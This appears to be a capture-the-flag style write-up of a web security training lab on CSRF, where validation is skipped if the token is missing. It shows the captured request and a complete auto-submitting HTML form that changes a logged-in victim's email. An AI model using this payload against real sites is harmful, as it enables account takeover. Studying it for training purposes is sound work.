search

CSRF where token validation depends on token being present

hashtag
Description

This lab's email change functionality is vulnerable to CSRF.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attackarrow-up-right to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

hashtag
Approach

After logging in with the provided credentials, I intercepted the change email request and sent it to the repeater for further analysis:

POST /my-account/change-email HTTP/1.1
Host: 0a29003304bf058481e20cee00f200ab.web-security-academy.net
Cookie: session=XZQ9nuYoOj2fVg3XNIYBzpzWoA1NMCRU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...

email=qwe%40qwe.com&csrf=YjYTLTohNxzzfentI7ztTEO8SRCZL3uR

I attempted to change the request method to see if it would still go through, but it resulted in the error Method Not Allowed. However, I noticed that if I removed the CSRF token from the request, it was processed successfully. This indicated that the CSRF token is only validated if it is present. Thus, if I can get the victim to submit the change email form without the CSRF token, I could potentially change their email.

To achieve this, I needed a CSRF proof of concept (PoC) without the token. I deleted the csrf parameter from the POST request, and by right-clicking the request and selecting Engagement tools > Generate CSRF PoC, I generated the following HTML:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a29003304bf058481e20cee00f200ab.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ichyaboy&#64;hacked&#46;ciao" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

I modified the email value to a new one to avoid any errors related to reused email addresses. After copying the CSRF PoC, I placed it in my malicious page on the exploit server.

By clicking Store and Deliver exploit to victim, I saw that the lab was solved, confirming the change of the victim's email.

PreviousCSRF where token validation depends on request methodNextCSRF where token is not tied to user session